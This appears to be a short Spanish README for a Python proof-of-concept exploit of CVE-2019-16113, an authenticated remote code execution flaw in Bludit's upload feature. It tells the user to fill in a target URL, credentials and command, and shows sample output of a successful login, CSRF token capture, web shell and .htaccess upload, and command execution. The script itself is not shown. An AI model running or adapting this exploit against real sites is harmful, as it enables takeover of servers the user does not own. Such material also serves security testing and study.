
Bludit >= 3.9.2 - RCE autenticado (CVE-2019-16113)
Vulnerabilidad de ejecución remota de código en Bludit >= 3.9.2 a través de la "función de carga".
PoC sencillo en Python.
Descubierto por @christasa: https://github.com/bludit/bludit/issues/1081
Edita el script con tu URL, nombre de usuario, contraseña y comando a ejecutar, y luego ejecuta el script:
$ python CVE-2019-16113.py
[+] Loggin successful.
[+] Token CSRF: 20b903ffe72490f004b9255521ea2e0419e73dce
[+] Shell upload succesful.
[+] .htaccess upload succesful.
[+] Command execution successful.
pip install requests)